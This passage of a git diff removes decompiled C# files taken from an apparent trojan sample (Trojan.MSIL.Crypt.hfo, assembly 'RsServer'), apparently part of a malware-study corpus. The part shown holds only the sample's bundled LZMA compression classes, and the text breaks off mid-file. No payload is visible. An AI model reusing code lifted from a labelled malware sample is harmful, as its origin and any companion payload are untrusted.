if (this._bufferBase == null || (int) this._blockSize != (int) num) - { - this.Free(); - this._blockSize = num; - this._bufferBase = new byte[(IntPtr) this._blockSize]; - } - this._pointerToLastSafePosition = this._blockSize - keepSizeAfter; - } - - public void SetStream(Stream stream) => this._stream = stream; - - public void ReleaseStream() => this._stream = (Stream) null; - - public void Init() - { - this._bufferOffset = 0U; - this._pos = 0U; - this._streamPos = 0U; - this._streamEndWasReached = false; - this.ReadBlock(); - } - - public void MovePos() - { - ++this._pos; - if (this._pos <= this._posLimit) - return; - if (this._bufferOffset + this._pos > this._pointerToLastSafePosition) - this.MoveBlock(); - this.ReadBlock(); - } - - public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index]; - - public uint GetMatchLen(int index, uint distance, uint limit) - { - if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos) - limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index); - ++distance; - uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index); - uint matchLen = 0; - while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)]) - ++matchLen; - return matchLen; - } - - public uint GetNumAvailableBytes() => this._streamPos - this._pos; - - public void ReduceOffsets(int subValue) - { - this._bufferOffset += (uint) subValue; - this._posLimit -= (uint) subValue; - this._pos -= (uint) subValue; - this._streamPos -= (uint) subValue; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/OutWindow.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/OutWindow.cs deleted file mode 100644 index cda9ca80..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZ/OutWindow.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.OutWindow -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class OutWindow - { - private byte[] _buffer; - private uint _pos; - private uint _windowSize; - private uint _streamPos; - private Stream _stream; - public uint TrainSize; - - public void Create(uint windowSize) - { - if ((int) this._windowSize != (int) windowSize) - this._buffer = new byte[(IntPtr) windowSize]; - this._windowSize = windowSize; - this._pos = 0U; - this._streamPos = 0U; - } - - public void Init(Stream stream, bool solid) - { - this.ReleaseStream(); - this._stream = stream; - if (solid) - return; - this._streamPos = 0U; - this._pos = 0U; - this.TrainSize = 0U; - } - - public bool Train(Stream stream) - { - long length = stream.Length; - uint num1 = length < (long) this._windowSize ? (uint) length : this._windowSize; - this.TrainSize = num1; - stream.Position = length - (long) num1; - this._streamPos = this._pos = 0U; - while (num1 > 0U) - { - uint count = this._windowSize - this._pos; - if (num1 < count) - count = num1; - int num2 = stream.Read(this._buffer, (int) this._pos, (int) count); - if (num2 == 0) - return false; - num1 -= (uint) num2; - this._pos += (uint) num2; - this._streamPos += (uint) num2; - if ((int) this._pos == (int) this._windowSize) - this._streamPos = this._pos = 0U; - } - return true; - } - - public void ReleaseStream() - { - this.Flush(); - this._stream = (Stream) null; - } - - public void Flush() - { - uint count = this._pos - this._streamPos; - if (count == 0U) - return; - this._stream.Write(this._buffer, (int) this._streamPos, (int) count); - if (this._pos >= this._windowSize) - this._pos = 0U; - this._streamPos = this._pos; - } - - public void CopyBlock(uint distance, uint len) - { - uint num = (uint) ((int) this._pos - (int) distance - 1); - if (num >= this._windowSize) - num += this._windowSize; - for (; len > 0U; --len) - { - if (num >= this._windowSize) - num = 0U; - this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++]; - if (this._pos >= this._windowSize) - this.Flush(); - } - } - - public void PutByte(byte b) - { - this._buffer[(IntPtr) this._pos++] = b; - if (this._pos < this._windowSize) - return; - this.Flush(); - } - - public byte GetByte(uint distance) - { - uint index = (uint) ((int) this._pos - (int) distance - 1); - if (index >= this._windowSize) - index += this._windowSize; - return this._buffer[(IntPtr) index]; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Base.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Base.cs deleted file mode 100644 index 765455d0..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Base.cs +++ /dev/null @@ -1,70 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Base -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -namespace SevenZip.Compression.LZMA -{ - internal abstract class Base - { - public const uint kNumRepDistances = 4; - public const uint kNumStates = 12; - public const int kNumPosSlotBits = 6; - public const int kDicLogSizeMin = 0; - public const int kNumLenToPosStatesBits = 2; - public const uint kNumLenToPosStates = 4; - public const uint kMatchMinLen = 2; - public const int kNumAlignBits = 4; - public const uint kAlignTableSize = 16; - public const uint kAlignMask = 15; - public const uint kStartPosModelIndex = 4; - public const uint kEndPosModelIndex = 14; - public const uint kNumPosModels = 10; - public const uint kNumFullDistances = 128; - public const uint kNumLitPosStatesBitsEncodingMax = 4; - public const uint kNumLitContextBitsMax = 8; - public const int kNumPosStatesBitsMax = 4; - public const uint kNumPosStatesMax = 16; - public const int kNumPosStatesBitsEncodingMax = 4; - public const uint kNumPosStatesEncodingMax = 16; - public const int kNumLowLenBits = 3; - public const int kNumMidLenBits = 3; - public const int kNumHighLenBits = 8; - public const uint kNumLowLenSymbols = 8; - public const uint kNumMidLenSymbols = 8; - public const uint kNumLenSymbols = 272; - public const uint kMatchMaxLen = 273; - - public static uint GetLenToPosState(uint len) - { - len -= 2U; - return len < 4U ? len : 3U; - } - - public struct State - { - public uint Index; - - public void Init() => this.Index = 0U; - - public void UpdateChar() - { - if (this.Index < 4U) - this.Index = 0U; - else if (this.Index < 10U) - this.Index -= 3U; - else - this.Index -= 6U; - } - - public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U; - - public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U; - - public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U; - - public bool IsCharState() => this.Index < 7U; - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Decoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Decoder.cs deleted file mode 100644 index bd446170..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Decoder.cs +++ /dev/null @@ -1,353 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Decoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Decoder : ICoder, ISetDecoderProperties - { - private OutWindow m_OutWindow = new OutWindow(); - private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder(); - private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)]; - private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)]; - private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)]; - private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)]; - private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)]; - private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4); - private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder(); - private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder(); - private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder(); - private uint m_DictionarySize; - private uint m_DictionarySizeCheck; - private uint m_PosStateMask; - private bool _solid; - - public Decoder() - { - this.m_DictionarySize = uint.MaxValue; - for (int index = 0; index < 4; ++index) - this.m_PosSlotDecoder[index] = new BitTreeDecoder(6); - } - - private void SetDictionarySize(uint dictionarySize) - { - if ((int) this.m_DictionarySize == (int) dictionarySize) - return; - this.m_DictionarySize = dictionarySize; - this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U); - this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U)); - } - - private void SetLiteralProperties(int lp, int lc) - { - if (lp > 8) - throw new InvalidParamException(); - if (lc > 8) - throw new InvalidParamException(); - this.m_LiteralDecoder.Create(lp, lc); - } - - private void SetPosBitsProperties(int pb) - { - if (pb > 4) - throw new InvalidParamException(); - uint numPosStates = (uint) (1 << pb); - this.m_LenDecoder.Create(numPosStates); - this.m_RepLenDecoder.Create(numPosStates); - this.m_PosStateMask = numPosStates - 1U; - } - - private void Init(Stream inStream, Stream outStream) - { - this.m_RangeDecoder.Init(inStream); - this.m_OutWindow.Init(outStream, this._solid); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this.m_PosStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this.m_IsMatchDecoders[(IntPtr) index3].Init(); - this.m_IsRep0LongDecoders[(IntPtr) index3].Init(); - } - this.m_IsRepDecoders[(IntPtr) index1].Init(); - this.m_IsRepG0Decoders[(IntPtr) index1].Init(); - this.m_IsRepG1Decoders[(IntPtr) index1].Init(); - this.m_IsRepG2Decoders[(IntPtr) index1].Init(); - } - this.m_LiteralDecoder.Init(); - for (uint index = 0; index < 4U; ++index) - this.m_PosSlotDecoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this.m_PosDecoders[(IntPtr) index].Init(); - this.m_LenDecoder.Init(); - this.m_RepLenDecoder.Init(); - this.m_PosAlignDecoder.Init(); - } - - public void Code( - Stream inStream, - Stream outStream, - long inSize, - long outSize, - ICodeProgress progress) - { - this.Init(inStream, outStream); - Base.State state = new Base.State(); - state.Init(); - uint distance = 0; - uint num1 = 0; - uint num2 = 0; - uint num3 = 0; - ulong pos = 0; - ulong num4 = (ulong) outSize; - if (pos < num4) - { - if (this.m_IsMatchDecoders[(IntPtr) (state.Index << 4)].Decode(this.m_RangeDecoder) != 0U) - throw new DataErrorException(); - state.UpdateChar(); - this.m_OutWindow.PutByte(this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, 0U, (byte) 0)); - ++pos; - } - while (pos < num4) - { - uint posState = (uint) pos & this.m_PosStateMask; - if (this.m_IsMatchDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - byte prevByte = this.m_OutWindow.GetByte(0U); - this.m_OutWindow.PutByte(state.IsCharState() ? this.m_LiteralDecoder.DecodeNormal(this.m_RangeDecoder, (uint) pos, prevByte) : this.m_LiteralDecoder.DecodeWithMatchByte(this.m_RangeDecoder, (uint) pos, prevByte, this.m_OutWindow.GetByte(distance))); - state.UpdateChar(); - ++pos; - } - else - { - uint len; - if (this.m_IsRepDecoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 1U) - { - if (this.m_IsRepG0Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - if (this.m_IsRep0LongDecoders[(IntPtr) ((state.Index << 4) + posState)].Decode(this.m_RangeDecoder) == 0U) - { - state.UpdateShortRep(); - this.m_OutWindow.PutByte(this.m_OutWindow.GetByte(distance)); - ++pos; - continue; - } - } - else - { - uint num5; - if (this.m_IsRepG1Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num1; - } - else - { - if (this.m_IsRepG2Decoders[(IntPtr) state.Index].Decode(this.m_RangeDecoder) == 0U) - { - num5 = num2; - } - else - { - num5 = num3; - num3 = num2; - } - num2 = num1; - } - num1 = distance; - distance = num5; - } - len = this.m_RepLenDecoder.Decode(this.m_RangeDecoder, posState) + 2U; - state.UpdateRep(); - } - else - { - num3 = num2; - num2 = num1; - num1 = distance; - len = 2U + this.m_LenDecoder.Decode(this.m_RangeDecoder, posState); - state.UpdateMatch(); - uint num6 = this.m_PosSlotDecoder[(IntPtr) Base.GetLenToPosState(len)].Decode(this.m_RangeDecoder); - if (num6 >= 4U) - { - int NumBitLevels = (int) (num6 >> 1) - 1; - uint num7 = (uint) ((2 | (int) num6 & 1) << NumBitLevels); - distance = num6 >= 14U ? num7 + (this.m_RangeDecoder.DecodeDirectBits(NumBitLevels - 4) << 4) + this.m_PosAlignDecoder.ReverseDecode(this.m_RangeDecoder) : num7 + BitTreeDecoder.ReverseDecode(this.m_PosDecoders, (uint) ((int) num7 - (int) num6 - 1), this.m_RangeDecoder, NumBitLevels); - } - else - distance = num6; - } - if ((ulong) distance >= (ulong) this.m_OutWindow.TrainSize + pos || distance >= this.m_DictionarySizeCheck) - { - if (distance != uint.MaxValue) - throw new DataErrorException(); - break; - } - this.m_OutWindow.CopyBlock(distance, len); - pos += (ulong) len; - } - } - this.m_OutWindow.Flush(); - this.m_OutWindow.ReleaseStream(); - this.m_RangeDecoder.ReleaseStream(); - } - - public void SetDecoderProperties(byte[] properties) - { - if (properties.Length < 5) - throw new InvalidParamException(); - int lc = (int) properties[0] % 9; - int num = (int) properties[0] / 9; - int lp = num % 5; - int pb = num / 5; - if (pb > 4) - throw new InvalidParamException(); - uint dictionarySize = 0; - for (int index = 0; index < 4; ++index) - dictionarySize += (uint) properties[1 + index] << index * 8; - this.SetDictionarySize(dictionarySize); - this.SetLiteralProperties(lp, lc); - this.SetPosBitsProperties(pb); - } - - public bool Train(Stream stream) - { - this._solid = true; - return this.m_OutWindow.Train(stream); - } - - private class LenDecoder - { - private BitDecoder m_Choice = new BitDecoder(); - private BitDecoder m_Choice2 = new BitDecoder(); - private BitTreeDecoder[] m_LowCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder[] m_MidCoder = new BitTreeDecoder[new IntPtr(16)]; - private BitTreeDecoder m_HighCoder = new BitTreeDecoder(8); - private uint m_NumPosStates; - - public void Create(uint numPosStates) - { - for (uint numPosStates1 = this.m_NumPosStates; numPosStates1 < numPosStates; ++numPosStates1) - { - this.m_LowCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - this.m_MidCoder[(IntPtr) numPosStates1] = new BitTreeDecoder(3); - } - this.m_NumPosStates = numPosStates; - } - - public void Init() - { - this.m_Choice.Init(); - for (uint index = 0; index < this.m_NumPosStates; ++index) - { - this.m_LowCoder[(IntPtr) index].Init(); - this.m_MidCoder[(IntPtr) index].Init(); - } - this.m_Choice2.Init(); - this.m_HighCoder.Init(); - } - - public uint Decode(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint posState) - { - if (this.m_Choice.Decode(rangeDecoder) == 0U) - return this.m_LowCoder[(IntPtr) posState].Decode(rangeDecoder); - uint num = 8; - return this.m_Choice2.Decode(rangeDecoder) != 0U ? num + 8U + this.m_HighCoder.Decode(rangeDecoder) : num + this.m_MidCoder[(IntPtr) posState].Decode(rangeDecoder); - } - } - - private class LiteralDecoder - { - private Decoder.LiteralDecoder.Decoder2[] m_Coders; - private int m_NumPrevBits; - private int m_NumPosBits; - private uint m_PosMask; - - public void Create(int numPosBits, int numPrevBits) - { - if (this.m_Coders != null && this.m_NumPrevBits == numPrevBits && this.m_NumPosBits == numPosBits) - return; - this.m_NumPosBits = numPosBits; - this.m_PosMask = (uint) ((1 << numPosBits) - 1); - this.m_NumPrevBits = numPrevBits; - uint length = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - this.m_Coders = new Decoder.LiteralDecoder.Decoder2[(IntPtr) length]; - for (uint index = 0; index < length; ++index) - this.m_Coders[(IntPtr) index].Create(); - } - - public void Init() - { - uint num = (uint) (1 << this.m_NumPrevBits + this.m_NumPosBits); - for (uint index = 0; index < num; ++index) - this.m_Coders[(IntPtr) index].Init(); - } - - private uint GetState(uint pos, byte prevByte) => (uint) ((((int) pos & (int) this.m_PosMask) << this.m_NumPrevBits) + ((int) prevByte >> 8 - this.m_NumPrevBits)); - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, uint pos, byte prevByte) => this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeNormal(rangeDecoder); - - public byte DecodeWithMatchByte( - SevenZip.Compression.RangeCoder.Decoder rangeDecoder, - uint pos, - byte prevByte, - byte matchByte) - { - return this.m_Coders[(IntPtr) this.GetState(pos, prevByte)].DecodeWithMatchByte(rangeDecoder, matchByte); - } - - private struct Decoder2 - { - private BitDecoder[] m_Decoders; - - public void Create() => this.m_Decoders = new BitDecoder[768]; - - public void Init() - { - for (int index = 0; index < 768; ++index) - this.m_Decoders[index].Init(); - } - - public byte DecodeNormal(SevenZip.Compression.RangeCoder.Decoder rangeDecoder) - { - uint index = 1; - do - { - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - } - while (index < 256U); - return (byte) index; - } - - public byte DecodeWithMatchByte(SevenZip.Compression.RangeCoder.Decoder rangeDecoder, byte matchByte) - { - uint index = 1; - do - { - uint num1 = (uint) ((int) matchByte >> 7 & 1); - matchByte <<= 1; - uint num2 = this.m_Decoders[(IntPtr) ((uint) (1 + (int) num1 << 8) + index)].Decode(rangeDecoder); - index = index << 1 | num2; - if ((int) num1 != (int) num2) - { - while (index < 256U) - index = index << 1 | this.m_Decoders[(IntPtr) index].Decode(rangeDecoder); - break; - } - } - while (index < 256U); - return (byte) index; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Encoder.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Encoder.cs deleted file mode 100644 index 72c563e1..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe/Compression/LZMA/Encoder.cs +++ /dev/null @@ -1,1329 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZMA.Encoder -// Assembly: RsServer, Version=4.7.6.1, Culture=neutral, PublicKeyToken=null -// MVID: D1E430D8-AC42-4024-9AF7-4EC140A70FAE -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.hfo-345e9380234da0fe6e1eed2ce7ceb3bf2f8332032c856d76b7b1d93725eb30fe.exe - -using SevenZip.Compression.LZ; -using SevenZip.Compression.RangeCoder; -using System; -using System.IO; - -namespace SevenZip.Compression.LZMA -{ - public class Encoder : ICoder, ISetCoderProperties, IWriteCoderProperties - { - private const uint kIfinityPrice = 268435455; - private const int kDefaultDictionaryLogSize = 22; - private const uint kNumFastBytesDefault = 32; - private const uint kNumLenSpecSymbols = 16; - private const uint kNumOpts = 4096; - private const int kPropSize = 5; - private static byte[] g_FastPos = new byte[2048]; - private Base.State _state = new Base.State(); - private byte _previousByte; - private uint[] _repDistances = new uint[new IntPtr(4)]; - private Encoder.Optimal[] _optimum = new Encoder.Optimal[new IntPtr(4096)]; - private IMatchFinder _matchFinder; - private SevenZip.Compression.RangeCoder.Encoder _rangeEncoder = new SevenZip.Compression.RangeCoder.Encoder(); - private BitEncoder[] _isMatch = new BitEncoder[new IntPtr(192)]; - private BitEncoder[] _isRep = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG0 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG1 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRepG2 = new BitEncoder[new IntPtr(12)]; - private BitEncoder[] _isRep0Long = new BitEncoder[new IntPtr(192)]; - private BitTreeEncoder[] _posSlotEncoder = new BitTreeEncoder[new IntPtr(4)]; - private BitEncoder[] _posEncoders = new BitEncoder[new IntPtr(114)]; - private BitTreeEncoder _posAlignEncoder = new BitTreeEncoder(4); - private Encoder.LenPriceTableEncoder _lenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LenPriceTableEncoder _repMatchLenEncoder = new Encoder.LenPriceTableEncoder(); - private Encoder.LiteralEncoder _literalEncoder = new Encoder.LiteralEncoder(); - private uint[] _matchDistances = new uint[new IntPtr(548)]; - private uint _numFastBytes = 32; - private uint _longestMatchLength; - private uint _numDistancePairs; - private uint _additionalOffset; - private uint _optimumEndIndex; - private uint _optimumCurrentIndex; - private bool _longestMatchWasFound; - private uint[] _posSlotPrices = new uint[256]; - private uint[] _distancesPrices = new uint[new IntPtr(512)]; - private uint[] _alignPrices = new uint[new IntPtr(16)]; - private uint _alignPriceCount; - private uint _distTableSize = 44; - private int _posStateBits = 2; - private uint _posStateMask = 3; - private int _numLiteralPosStateBits; - private int _numLiteralContextBits = 3; - private uint _dictionarySize = 4194304; - private uint _dictionarySizePrev = uint.MaxValue; - private uint _numFastBytesPrev = uint.MaxValue; - private long nowPos64; - private bool _finished; - private Stream _inStream; - private Encoder.EMatchFinderType _matchFinderType = Encoder.EMatchFinderType.BT4; - private bool _writeEndMark; - private bool _needReleaseMFStream; - private uint[] reps = new uint[new IntPtr(4)]; - private uint[] repLens = new uint[new IntPtr(4)]; - private byte[] properties = new byte[5]; - private uint[] tempPrices = new uint[new IntPtr(128)]; - private uint _matchPriceCount; - private static string[] kMatchFinderIDs = new string[2] - { - "BT2", - "BT4" - }; - private uint _trainSize; - - static Encoder() - { - int index1 = 2; - Encoder.g_FastPos[0] = (byte) 0; - Encoder.g_FastPos[1] = (byte) 1; - for (byte index2 = 2; index2 < (byte) 22; ++index2) - { - uint num1 = (uint) (1 << ((int) index2 >> 1) - 1); - uint num2 = 0; - while (num2 < num1) - { - Encoder.g_FastPos[index1] = index2; - ++num2; - ++index1; - } - } - } - - private static uint GetPosSlot(uint pos) - { - if (pos < 2048U) - return (uint) Encoder.g_FastPos[(IntPtr) pos]; - return pos < 2097152U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 10)] + 20U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 20)] + 40U; - } - - private static uint GetPosSlot2(uint pos) - { - if (pos < 131072U) - return (uint) Encoder.g_FastPos[(IntPtr) (pos >> 6)] + 12U; - return pos < 134217728U ? (uint) Encoder.g_FastPos[(IntPtr) (pos >> 16)] + 32U : (uint) Encoder.g_FastPos[(IntPtr) (pos >> 26)] + 52U; - } - - private void BaseInit() - { - this._state.Init(); - this._previousByte = (byte) 0; - for (uint index = 0; index < 4U; ++index) - this._repDistances[(IntPtr) index] = 0U; - } - - private void Create() - { - if (this._matchFinder == null) - { - BinTree binTree = new BinTree(); - int numHashBytes = 4; - if (this._matchFinderType == Encoder.EMatchFinderType.BT2) - numHashBytes = 2; - binTree.SetType(numHashBytes); - this._matchFinder = (IMatchFinder) binTree; - } - this._literalEncoder.Create(this._numLiteralPosStateBits, this._numLiteralContextBits); - if ((int) this._dictionarySize == (int) this._dictionarySizePrev && (int) this._numFastBytesPrev == (int) this._numFastBytes) - return; - this._matchFinder.Create(this._dictionarySize, 4096U, this._numFastBytes, 274U); - this._dictionarySizePrev = this._dictionarySize; - this._numFastBytesPrev = this._numFastBytes; - } - - public Encoder() - { - for (int index = 0; index < 4096; ++index) - this._optimum[index] = new Encoder.Optimal(); - for (int index = 0; index < 4; ++index) - this._posSlotEncoder[index] = new BitTreeEncoder(6); - } - - private void SetWriteEndMarkerMode(bool writeEndMarker) => this._writeEndMark = writeEndMarker; - - private void Init() - { - this.BaseInit(); - this._rangeEncoder.Init(); - for (uint index1 = 0; index1 < 12U; ++index1) - { - for (uint index2 = 0; index2 <= this._posStateMask; ++index2) - { - uint index3 = (index1 << 4) + index2; - this._isMatch[(IntPtr) index3].Init(); - this._isRep0Long[(IntPtr) index3].Init(); - } - this._isRep[(IntPtr) index1].Init(); - this._isRepG0[(IntPtr) index1].Init(); - this._isRepG1[(IntPtr) index1].Init(); - this._isRepG2[(IntPtr) index1].Init(); - } - this._literalEncoder.Init(); - for (uint index = 0; index < 4U; ++index) - this._posSlotEncoder[(IntPtr) index].Init(); - for (uint index = 0; index < 114U; ++index) - this._posEncoders[(IntPtr) index].Init(); - this._lenEncoder.Init((uint) (1 << this._posStateBits)); - this._repMatchLenEncoder.Init((uint) (1 << this._posStateBits)); - this._posAlignEncoder.Init(); - this._longestMatchWasFound = false; - this._optimumEndIndex = 0U; - this._optimumCurrentIndex = 0U; - this._additionalOffset = 0U; - } - - private void ReadMatchDistances(out uint lenRes, out uint numDistancePairs) - { - lenRes = 0U; - numDistancePairs = this._matchFinder.GetMatches(this._matchDistances); - if (numDistancePairs > 0U) - { - lenRes = this._matchDistances[(IntPtr) (numDistancePairs - 2U)]; - if ((int) lenRes == (int) this._numFastBytes) - lenRes += this._matchFinder.GetMatchLen((int) lenRes - 1, this._matchDistances[(IntPtr) (numDistancePairs - 1U)], 273U - lenRes); - } - ++this._additionalOffset; - } - - private void MovePos(uint num) - { - if (num <= 0U) - return; - this._matchFinder.Skip(num); - this._additionalOffset += num; - } - - private uint GetRepLen1Price(Base.State state, uint posState) => this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice0(); - - private uint GetPureRepPrice(uint repIndex, Base.State state, uint posState) - { - uint pureRepPrice; - if (repIndex == 0U) - { - pureRepPrice = this._isRepG0[(IntPtr) state.Index].GetPrice0() + this._isRep0Long[(IntPtr) ((state.Index << 4) + posState)].GetPrice1(); - } - else - { - uint price1 = this._isRepG0[(IntPtr) state.Index].GetPrice1(); - pureRepPrice = repIndex != 1U ? price1 + this._isRepG1[(IntPtr) state.Index].GetPrice1() + this._isRepG2[(IntPtr) state.Index].GetPrice(repIndex - 2U) : price1 + this._isRepG1[(IntPtr) state.Index].GetPrice0(); - } - return pureRepPrice; - } - - private uint GetRepPrice(uint repIndex, uint len, Base.State state, uint posState) => this._repMatchLenEncoder.GetPrice(len - 2U, posState) + this.GetPureRepPrice(repIndex, state, posState); - - private uint GetPosLenPrice(uint pos, uint len, uint posState) - { - uint lenToPosState = Base.GetLenToPosState(len); - return (pos >= 128U ? this._posSlotPrices[(IntPtr) ((lenToPosState << 6) + Encoder.GetPosSlot2(pos))] + this._alignPrices[(IntPtr) (pos & 15U)] : this._distancesPrices[(IntPtr) (lenToPosState * 128U + pos)]) + this._lenEncoder.GetPrice(len - 2U, posState); - } - - private uint Backward(out uint backRes, uint cur) - { - this._optimumEndIndex = cur; - uint posPrev = this._optimum[(IntPtr) cur].PosPrev; - uint backPrev = this._optimum[(IntPtr) cur].BackPrev; - do - { - if (this._optimum[(IntPtr) cur].Prev1IsChar) - { - this._optimum[(IntPtr) posPrev].MakeAsChar(); - this._optimum[(IntPtr) posPrev].PosPrev = posPrev - 1U; - if (this._optimum[(IntPtr) cur].Prev2) - { - this._optimum[(IntPtr) (posPrev - 1U)].Prev1IsChar = false; - this._optimum[(IntPtr) (posPrev - 1U)].PosPrev = this._optimum[(IntPtr) cur].PosPrev2; - this._optimum[(IntPtr) (posPrev - 1U)].BackPrev = this._optimum[(IntPtr) cur].BackPrev2; - } - } - uint index = posPrev; - uint num = backPrev; - backPrev = this._optimum[(IntPtr) index].BackPrev; - posPrev = this._optimum[(IntPtr) index].PosPrev; - this._optimum[(IntPtr) index].BackPrev = num; - this._optimum[(IntPtr) index].PosPrev = cur; - cur = index; - } - while (cur > 0U); - backRes = this._optimum[0].BackPrev; - this._optimumCurrentIndex = this._optimum[0].PosPrev; - return this._optimumCurrentIndex; - } - - private uint 